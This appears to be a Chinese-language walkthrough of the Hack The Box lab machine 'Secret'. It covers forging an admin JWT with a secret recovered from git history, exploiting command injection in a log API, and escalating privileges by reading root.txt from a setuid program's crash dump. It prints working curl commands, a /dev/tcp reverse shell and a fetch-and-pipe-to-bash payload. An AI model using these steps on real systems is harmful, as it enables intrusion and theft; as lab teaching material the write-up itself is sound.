HTB Secret [TOC]
目录 靶机介绍:
个人感觉这个机器比较偏难(还是我比较菜的原因),这个机器属于那种CTF类的靶机。获取用户shell主要难点在于靠伪造Cookie去进行命令执行。提取那一块大家感兴趣看一下,这次主要思路分析。
信息收集
开放的22、80、3000端口,我们访问一下
查看页面功能,知道了如何去注册和登录这个网站
注册方法:
注册成功回显:
登录方法
登录结果回显:
获取jwt Cookie
回显:
到这里我们对其网站进行扫描,看能不能得出点后台登录地址啥的。
猜测download可能有文件,我们尝试爆破一下文件,我们得到files.zip
下载下来,发现是这个网站的源码
寻找突破口 现在通过信息收集获取了这个网站的源码和知道如何进行注册登录。
注册 由于这个网站我们没有通过扫描找到后台地址,后期在源码里也没有后台地址
通过curl命令我们进行简单测试一下
curl -H "Content-Type: application/json" -X POST 10.10.11.120:3000/api/user/register -d '{"name": "chenle","email":"root@chenle.works","password":"Kekc8swFgD6zU"}'
登录: curl -H "Content-Type: application/json" -X POST 10.10.11.120:3000/api/user/login -d '{"email": "root@chenle.works", "password": "Kekc8swFgD6zU"}'
使用Cookie登录: curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiY2hlbmxlIiwiZW1haWwiOiJyb290QGNoZW5sZS53b3JrcyIsImlhdCI6MTYzNzk4MDI0OH0.zKp5DXkQjvZhlnVllxElCBJ0MdMG-u7HqsHg0veWTlU " 10.10.11.120:3000/api/priv
尝试获取admin的cookie 我们把我们的jwt在这个网站上进行解析:https://jwt.io/
之后我们尝试使用修改后的
curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.pNYJtN-VONK1r04oooDGJnKHpCOQUDAQ2L32wM3xBz4 " 10.10.11.120:3000/api/priv
发现登录失败,通过查看这个网站源码
我们通过查看源码,获知如何构造cookie去以admin身份进行登录
我们发现这个存在.git目录,我们查看一下git log
发现这个token_secret已经被移除了,我们尝试恢复这个文件
git revert 67 d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
恢复的密钥:
gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
现阶段已经获取到密钥,修改的jwt,使用jwt工具来将密钥加入到我们的伪造cookie中
使用这个工具来进行对jwt的注入:https://github.com/ticarpi/jwt_tool/
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiY2hlbmxlIiwiZW1haWwiOiJyb290QGNoZW5sZS53b3JrcyIsImlhdCI6MTYzNzk4MDI0OH0.zKp5DXkQjvZhlnVllxElCBJ0MdMG-u7HqsHg0veWTlU
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w
使用生成的jwt cookie进行登录
curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" 10.10.11.120:3000/api/priv
返回:
{"creds" :{"role" :"admin" ,"username" :"theadmin" ,"desc" :"welcome back admin" }}
这里我们已经以admin登录
尝试命令执行获取主机会话: 尝试使用接口看能否执行命令;
curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" 10.10.11.120:3000/api/log?file-=;id
{"message" :{"message" :"404 page not found" ,"desc" :"page you are looking for is not found. " }}uid=1000(hack) gid=1000(hack) groups =1000(hack),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scanner),141(kaboxer)
通过远程命令下载本地的反向shell
bash -i >& /dev/tcp/10.10.14.28/7777 0>&1
本地使用python起一个服务
python3 -m http.server 8888
本地侦听端口
执行命令:
curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" '10.10.11.120:3000/api/logs?file=;curl+10.10.14.28:8888/shell.sh+|bash'
至此我们已经获取到user权限。
主机提权: 此处请参考该网址:
https://wiki.ubuntu.com/Apport
https://www.jb51.cc/ubuntu/347375.html
在/opt目录下发现可疑文件:
code.c:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount (const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent ; struct stat fstat ; int tot = 0 , regular_files = 0 , directories = 0 , symlinks = 0 ; if ((dir = opendir(path)) == NULL ) { printf ("\nUnable to open directory.\n" ); exit (EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL ) { ++tot; strncpy (fullpath, path, PATH_MAX-NAME_MAX-1 ); strcat (fullpath, "/" ); strncat (fullpath, ent->d_name, strlen (ent->d_name)); if (!lstat(fullpath, &fstat)) { if (S_ISDIR(fstat.st_mode)) { printf ("d" ); ++directories; } else if (S_ISLNK(fstat.st_mode)) { printf ("l" ); ++symlinks; } else if (S_ISREG(fstat.st_mode)) { printf ("-" ); ++regular_files; } else printf ("?" ); printf ((fstat.st_mode & S_IRUSR) ? "r" : "-" ); printf ((fstat.st_mode & S_IWUSR) ? "w" : "-" ); printf ((fstat.st_mode & S_IXUSR) ? "x" : "-" ); printf ((fstat.st_mode & S_IRGRP) ? "r" : "-" ); printf ((fstat.st_mode & S_IWGRP) ? "w" : "-" ); printf ((fstat.st_mode & S_IXGRP) ? "x" : "-" ); printf ((fstat.st_mode & S_IROTH) ? "r" : "-" ); printf ((fstat.st_mode & S_IWOTH) ? "w" : "-" ); printf ((fstat.st_mode & S_IXOTH) ? "x" : "-" ); } else { printf ("??????????" ); } printf ("\t%s\n" , ent->d_name); } closedir(dir); snprintf (summary, 4096 , "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n" , tot, regular_files, directories, symlinks); printf ("\n%s" , summary); } void filecount (const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r" ); if (file == NULL ) { printf ("\nUnable to open file.\n" ); printf ("Please check if file exists and you have read privilege.\n" ); exit (EXIT_FAILURE); } characters = words = lines = 0 ; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0' ) lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0' ) words++; } if (characters > 0 ) { words++; lines++; } snprintf (summary, 256 , "Total characters = %d\nTotal words = %d\nTotal lines = %d\n" , characters, words, lines); printf ("\n%s" , summary); } int main () { char path[100 ]; int res; struct stat path_s ; char summary[4096 ]; printf ("Enter source file/directory name: " ); scanf ("%99s" , path); getchar(); stat(path, &path_s); if (S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); setuid(getuid()); prctl(PR_SET_DUMPABLE, 1 ); printf ("Save results a file? [y/N]: " ); res = getchar(); if (res == 121 || res == 89 ) { printf ("Path: " ); scanf ("%99s" , path); FILE *fp = fopen(path, "a" ); if (fp != NULL ) { fputs (summary, fp); fclose(fp); } else { printf ("Could not open %s for writing\n" , path); } } return 0 ; }
审计这个代码,可以有一个思路,就是通过linux上的崩溃转储来进行读取隐私文档。
操作如下:
同时开启两个会话,
root 859 0.0 0.1 235672 7340 ? Ssl 04:42 0:00 /usr/lib/accountsservice/accounts-daemon dasith 2034 0.0 0.0 2488 588 ? S 07:58 0:00 ./count -p dasith 2036 0.0 0.0 6432 728 ? S 07:58 0:00 grep --color=auto count
将./count这个进程kill,然后就造成程序崩溃
接下来将这个文件进行解压转储
apport-unpack _opt_count.1000.crash /tmp/leleaa
查看刚刚解压的文件,看到很多文件,我们这里利用一个脚本
CORE CORE count ./count -p IGISCORE CORE ELIFCORE /opt/count /opt/count /opt/count /opt/count /opt/count /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so CORE //////////////// Path: Could LINUX //////////////// Path: Could /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid exit readdir fopen closedir __isoc99_scanf strncpy __stack_chk_fail putchar fgetc strlen prctl getchar fputs fclose opendir getuid strncat __cxa_finalize __libc_start_main snprintf __xstat __lxstat GLIBC_2.7 GLIBC_2.4 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable Unable to open directory. ?????????? Total entries = %d Regular files = %d Directories = %d Symbolic links = %d Unable to open file. Please check if file exists and you have read privilege. Total characters = %d Total words = %d Total lines = %d Enter source file/directory name: %99s Save results a file? [y/N]: Path: Could not open %s for writing :*3$" Enter source file/directory name: Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: Path: oot/root.txt e3d76cb6f2553838d00ad4e48224ff9f aliases ethers group gshadow hosts initgroups netgroup networks passwd protocols publickey services shadow CAk[S libc.so.6 /lib/x86_64-linux-gnu libc.so.6 uTi7J |F:m _rtld_global __get_cpu_features _dl_find_dso_for_object _dl_make_stack_executable _dl_exception_create __libc_stack_end _dl_catch_exception malloc _dl_deallocate_tls _dl_signal_exception __tunable_get_val __libc_enable_secure __tls_get_addr _dl_get_tls_static_info calloc _dl_exception_free _dl_debug_state _dl_argv _dl_allocate_tls_init _rtld_global_ro realloc _dl_rtld_di_serinfo _dl_mcount _dl_allocate_tls _dl_signal_error _dl_exception_create_format _r_debug _dl_catch_error ld-linux-x86-64.so.2 GLIBC_2.2.5 GLIBC_2.3 GLIBC_2.4 GLIBC_PRIVATE sse2 x86_64 avx512_1 i586 i686 haswell xeon_phi linux-vdso.so.1 tls/x86_64/x86_64/tls/x86_64/ /lib/x86_64-linux-gnu/libc.so.6 %%%%%%%%%%%%%%%% //////////////// //////////////// ory name: %99s /root/root.txt Total characters = 33 Total words = 2 Total lines = 2 x86_64 ./count SHELL=/bin/sh versioning=[object Object] unstable_restarts=0 treekill=true env=[object Object] filter_env= namespace=default restart_time=0 DB_CONNECT=mongodb://127.0.0.1:27017/auth-web axm_options=[object Object] vizion_running=false PWD=/opt LOGNAME=dasith PM2_USAGE=CLI exec_interpreter=node PM2_HOME=/home/dasith/.pm2 HOME=/home/dasith NODE_APP_INSTANCE=0 LANG=en_US.UTF-8 LS_COLORS= pm_id=0 version=1.0.0 pm_uptime=1637988188619 km_link=false pm_cwd=/home/dasith/local-web axm_monitor=[object Object] instance_var=NODE_APP_INSTANCE pmx=true unique_id=15dcac83-fe45-48ff-9c21-89c45f351404 LESSCLOSE=/usr/bin/lesspipe %s %s vizion=true username=dasith LESSOPEN=| /usr/bin/lesspipe %s watch=false windowsHide=true automation=true axm_actions= SHLVL=2 TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE PM2_INTERACTOR_PROCESSING=true created_at=1633619800035 merge_logs=true pm_pid_path=/home/dasith/.pm2/pids/index-0.pid PATH=/usr/bin:/bin pm_err_log_path=/home/dasith/.pm2/logs/index-error.log node_version=10.19.0 kill_retry_time=100 axm_dynamic=[object Object] autorestart=true node_args= exec_mode=fork_mode pm_exec_path=/home/dasith/local-web/index.js OLDPWD=/var/crash status=launching name=index pm_out_log_path=/home/dasith/.pm2/logs/index-out.log _=./count ./count bemX __vdso_gettimeofday __vdso_time __vdso_clock_gettime __vdso_clock_getres __vdso_getcpu linux-vdso.so.1 LINUX_2.6 Linux Linux AUATS A\A]] [A\M A]]I [A\] [A\] GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 .shstrtab .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_d .dynamic .note .eh_frame_hdr .eh_frame .text .altinstructions .altinstr_replacement .comment
总结:
这个靶机提权这块还有好多知识点有待学习。希望各位大佬轻点骂。